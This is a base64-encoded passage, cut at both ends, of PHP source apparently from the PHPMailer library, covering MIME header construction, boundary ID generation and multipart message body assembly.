udGVudC1UeXBlJywgc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX1JFTEFURUQgLiAnOycpOwogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzFdIC4gJyInKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhdHRhY2gnOgogICAgICAgICAgICBjYXNlICdpbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX01VTFRJUEFSVF9NSVhFRCAuICc7Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMV0gLiAnIicpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX0FMVEVSTkFUSVZFIC4gJzsnKTsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsxXSAuICciJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIC8vIENhdGNoZXMgY2FzZSAncGxhaW4nOiBhbmQgY2FzZSAnJzoKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPnRleHRMaW5lKCdDb250ZW50LVR5cGU6ICcgLiAkdGhpcy0+Q29udGVudFR5cGUgLiAnOyBjaGFyc2V0PScgLiAkdGhpcy0+Q2hhclNldCk7CiAgICAgICAgICAgICAgICAkaXNtdWx0aXBhcnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KICAgICAgICAvLyBSRkMxMzQxIHBhcnQgNSBzYXlzIDdiaXQgaXMgYXNzdW1lZCBpZiBub3Qgc3BlY2lmaWVkCiAgICAgICAgaWYgKHN0YXRpYzo6RU5DT0RJTkdfN0JJVCAhPSAkdGhpcy0+RW5jb2RpbmcpIHsKICAgICAgICAgICAgLy8gUkZDIDIwNDUgc2VjdGlvbiA2LjQgc2F5cyBtdWx0aXBhcnQgTUlNRSBwYXJ0cyBtYXkgb25seSB1c2UgN2JpdCwgOGJpdCBvciBiaW5hcnkgQ1RFCiAgICAgICAgICAgIGlmICgkaXNtdWx0aXBhcnQpIHsKICAgICAgICAgICAgICAgIGlmIChzdGF0aWM6OkVOQ09ESU5HXzhCSVQgPT0gJHRoaXMtPkVuY29kaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZycsIHN0YXRpYzo6RU5DT0RJTkdfOEJJVCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBUaGUgb25seSByZW1haW5pbmcgYWx0ZXJuYXRpdmVzIGFyZSBxdW90ZWQtcHJpbnRhYmxlIGFuZCBiYXNlNjQsIHdoaWNoIGFyZSBib3RoIDdiaXQgY29tcGF0aWJsZQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZycsICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCdtYWlsJyAhPSAkdGhpcy0+TWFpbGVyKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gc3RhdGljOjokTEU7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQogICAgLyoqCiAgICAgKiBSZXR1cm5zIHRoZSB3aG9sZSBNSU1FIG1lc3NhZ2UuCiAgICAgKiBJbmNsdWRlcyBjb21wbGV0ZSBoZWFkZXJzIGFuZCBib2R5LgogICAgICogT25seSB2YWxpZCBwb3N0IHByZVNlbmQoKS4KICAgICAqCiAgICAgKiBAc2VlIFBIUE1haWxlcjo6cHJlU2VuZCgpCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFNlbnRNSU1FTWVzc2FnZSgpCiAgICB7CiAgICAgICAgcmV0dXJuIHJ0cmltKCR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsICJcblxyIikgLiBzdGF0aWM6OiRMRSAuIHN0YXRpYzo6JExFIC4gJHRoaXMtPk1JTUVCb2R5OwogICAgfQogICAgLyoqCiAgICAgKiBDcmVhdGUgYSB1bmlxdWUgSUQgdG8gdXNlIGZvciBib3VuZGFyaWVzLgogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZW5lcmF0ZUlkKCkKICAgIHsKICAgICAgICAkbGVuID0gMzI7IC8vMzIgYnl0ZXMgPSAyNTYgYml0cwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3JhbmRvbV9ieXRlcycpKSB7CiAgICAgICAgICAgICRieXRlcyA9IHJhbmRvbV9ieXRlcygkbGVuKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMnKSkgewogICAgICAgICAgICAkYnl0ZXMgPSBvcGVuc3NsX3JhbmRvbV9wc2V1ZG9fYnl0ZXMoJGxlbik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9Vc2UgYSBoYXNoIHRvIGZvcmNlIHRoZSBsZW5ndGggdG8gdGhlIHNhbWUgYXMgdGhlIG90aGVyIG1ldGhvZHMKICAgICAgICAgICAgJGJ5dGVzID0gaGFzaCgnc2hhMjU2JywgdW5pcWlkKChzdHJpbmcpIG10X3JhbmQoKSwgdHJ1ZSksIHRydWUpOwogICAgICAgIH0KICAgICAgICAvL1dlIGRvbid0IGNhcmUgYWJvdXQgbWVzc2luZyB1cCBiYXNlNjQgZm9ybWF0IGhlcmUsIGp1c3Qgd2FudCBhIHJhbmRvbSBzdHJpbmcKICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoWyc9JywgJysnLCAnLyddLCAnJywgYmFzZTY0X2VuY29kZShoYXNoKCdzaGEyNTYnLCAkYnl0ZXMsIHRydWUpKSk7CiAgICB9CiAgICAvKioKICAgICAqIEFzc2VtYmxlIHRoZSBtZXNzYWdlIGJvZHkuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcgVGhlIGFzc2VtYmxlZCBtZXNzYWdlIGJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNyZWF0ZUJvZHkoKQogICAgewogICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgLy9DcmVhdGUgdW5pcXVlIElEcyBhbmQgcHJlc2V0IGJvdW5kYXJpZXMKICAgICAgICAkdGhpcy0+dW5pcXVlaWQgPSAkdGhpcy0+Z2VuZXJhdGVJZCgpOwogICAgICAgICR0aGlzLT5ib3VuZGFyeVsxXSA9ICdiMV8nIC4gJHRoaXMtPnVuaXF1ZWlkOwogICAgICAgICR0aGlzLT5ib3VuZGFyeVsyXSA9ICdiMl8nIC4gJHRoaXMtPnVuaXF1ZWlkOwogICAgICAgICR0aGlzLT5ib3VuZGFyeVszXSA9ICdiM18nIC4gJHRoaXMtPnVuaXF1ZWlkOwogICAgICAgIGlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0TWFpbE1JTUUoKSAuIHN0YXRpYzo6JExFOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+c2V0V29yZFdyYXAoKTsKICAgICAgICAkYm9keUVuY29kaW5nID0gJHRoaXMtPkVuY29kaW5nOwogICAgICAgICRib2R5Q2hhclNldCA9ICR0aGlzLT5DaGFyU2V0OwogICAgICAgIC8vQ2FuIHdlIGRvIGEgNy1iaXQgZG93bmdyYWRlPwogICAgICAgIGlmIChzdGF0aWM6OkVOQ09ESU5HXzhCSVQgPT0gJGJvZHlFbmNvZGluZyBhbmQgISR0aGlzLT5oYXM4Yml0Q2hhcnMoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICRib2R5RW5jb2RpbmcgPSBzdGF0aWM6OkVOQ09ESU5HXzdCSVQ7CiAgICAgICAgICAgIC8vQWxsIElTTyA4ODU5LCBXaW5kb3dzIGNvZGVwYWdlIGFuZCBVVEYtOCBjaGFyc2V0cyBhcmUgYXNjaWkgY29tcGF0aWJsZSB1cCB0byA3LWJpdAogICAgICAgICAgICAkYm9keUNoYXJTZXQgPSAndXMtYXNjaWknOwogICAgICAgIH0KICAgICAgICAvL0lmIGxpbmVzIGFyZSB0b28gbG9uZywgYW5kIHdlJ3JlIG5vdCBhbHJlYWR5IHVzaW5nIGFuIGVuY29kaW5nIHRoYXQgd2lsbCBzaG9ydGVuIHRoZW0sCiAgICAgICAgLy9jaGFuZ2UgdG8gcXVvdGVkLXByaW50YWJsZSB0cmFuc2ZlciBlbmNvZGluZyBmb3IgdGhlIGJvZHkgcGFydCBvbmx5CiAgICAgICAgaWYgKHN0YXRpYzo6RU5DT0RJTkdfQkFTRTY0ICE9ICR0aGlzLT5FbmNvZGluZyBhbmQgc3RhdGljOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+Qm9keSkpIHsKICAgICAgICAgICAgJGJvZHlFbmNvZGluZyA9IHN0YXRpYzo6RU5DT0RJTkdfUVVPVEVEX1BSSU5UQUJMRTsKICAgICAgICB9CiAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICAkYWx0Qm9keUNoYXJTZXQgPSAkdGhpcy0+Q2hhclNldDsKICAgICAgICAvL0NhbiB3ZSBkbyBhIDctYml0IGRvd25ncmFkZT8KICAgICAgICBpZiAoc3RhdGljOjpFTkNPRElOR184QklUID09ICRhbHRCb2R5RW5jb2RpbmcgYW5kICEkdGhpcy0+aGFzOGJpdENoYXJzKCR0aGlzLT5BbHRCb2R5KSkgewogICAgICAgICAgICAkYWx0Qm9keUVuY29kaW5nID0gc3RhdGljOjpFTkNPRElOR183QklUOwogICAgICAgICAgICAvL0FsbCBJU08gODg1OSwgV2luZG93cyBjb2RlcGFnZSBhbmQgVVRGLTggY2hhcnNldHMgYXJlIGFzY2lpIGNvbXBhdGlibGUgdXAgdG8gNy1iaXQKICAgICAgICAgICAgJGFsdEJvZHlDaGFyU2V0ID0gJ3VzLWFzY2lpJzsKICAgICAgICB9CiAgICAgICAgLy9JZiBsaW5lcyBhcmUgdG9vIGxvbmcsIGFuZCB3ZSdyZSBub3QgYWxyZWFkeSB1c2luZyBhbiBlbmNvZGluZyB0aGF0IHdpbGwgc2hvcnRlbiB0aGVtLAogICAgICAgIC8vY2hhbmdlIHRvIHF1b3RlZC1wcmludGFibGUgdHJhbnNmZXIgZW5jb2RpbmcgZm9yIHRoZSBhbHQgYm9keSBwYXJ0IG9ubHkKICAgICAgICBpZiAoc3RhdGljOjpFTkNPRElOR19CQVNFNjQgIT0gJGFsdEJvZHlFbmNvZGluZyBhbmQgc3RhdGljOjpoYXNMaW5lTG9uZ2VyVGhhbk1heCgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAgICAgJGFsdEJvZHlFbmNvZGluZyA9IHN0YXRpYzo6RU5DT0RJTkdfUVVPVEVEX1BSSU5UQUJMRTsKICAgICAgICB9CiAgICAgICAgLy9Vc2UgdGhpcyBhcyBhIHByZWFtYmxlIGluIGFsbCBtdWx0aXBhcnQgbWVzc2FnZSB0eXBlcwogICAgICAgICRtaW1lcHJlID0gJ1RoaXMgaXMgYSBtdWx0aS1wYXJ0IG1lc3NhZ2UgaW4gTUlNRSBmb3JtYXQuJyAuIHN0YXRpYzo6JExFOwogICAgICAgIHN3aXRjaCAoJHRoaXMtPm1lc3NhZ2VfdHlwZSkgewogICAgICAgICAgICBjYXNlICdpbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYm9keUNoYXJTZXQsICcnLCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gc3RhdGljOjokTEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRib2R5Q2hhclNldCwgJycsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2lubGluZV9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX1JFTEFURUQgLiAnOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJycsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0sICRhbHRCb2R5Q2hhclNldCwgc3RhdGljOjpDT05URU5UX1RZUEVfUExBSU5URVhULCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gc3RhdGljOjokTEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYm9keUNoYXJTZXQsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX1RFWFRfSFRNTCwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49IHN0YXRpYzo6JExFOwogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+SWNhbCkpIHsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAnJywgc3RhdGljOjpDT05URU5UX1RZUEVfVEVYVF9DQUxFTkRBUiAuICc7IG1ldGhvZD1SRVFVRVNUJywgJycpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkljYWwsICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gc3RhdGljOjokTEU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdhbHRfaW5saW5lJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJGFsdEJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9QTEFJTlRFWFQsICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+QWx0Qm9keSwgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfUkVMQVRFRCAuICc7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49IHN0YXRpYzo6JExFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0hUTUwsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9hdHRhY2gnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UeXBlJywgc3RhdGljOjpDT05URU5UX1RZUEVfTVVMVElQQVJUX0FMVEVSTkFUSVZFIC4gJzsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbMl0gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gc3RhdGljOjokTEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX1BMQUlOVEVYVCwgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49IHN0YXRpYzo6JExFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0hUTUwsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJycsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX1RFWFRfQ0FMRU5EQVIgLiAnOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsIHN0YXRpYzo6Q09OVEVOVF9UWVBFX01VTFRJUEFSVF9BTFRFUk5BVElWRSAuICc7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49IHN0YXRpYzo6JExFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsyXSwgJGFsdEJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9QTEFJTlRFWFQsICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+QWx0Qm9keSwgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9NVUxUSVBBUlRfUkVMQVRFRCAuICc7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzNdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49IHN0YXRpYzo6JExFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCBzdGF0aWM6OkNPTlRFTlRfVFlQRV9URVhUX0hUTUwsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gc3RhdGljOjokTEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdhdHRhY2htZW50JywgJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgLy8gQ2F0Y2ggY2FzZSAncGxhaW4nIGFuZCBjYXNlICcnLCBhcHBsaWVzIHRvIHNpbXBsZSBgdGV4dC9wbGFpbmAgYW5kIGB0ZXh0L2h0bWxgIGJvZHkgY29udGVudCB0eXBlcwogICAgICAgICAgICAgICAgLy9SZXNldCB0aGUgYEVuY29kaW5nYCBwcm9wZXJ0eSBpbiBjYXNlIHdlIGNoYW5nZWQgaXQgZm9yIGxpbmUgbGVuZ3RoIHJlYXNvbnMKICAgICAgICAgICAgICAgICR0aGlzLT5FbmNvZGluZyA9ICRib2R5RW5jb2Rpbmc7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZW1wdHlfbWVzc2FnZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZ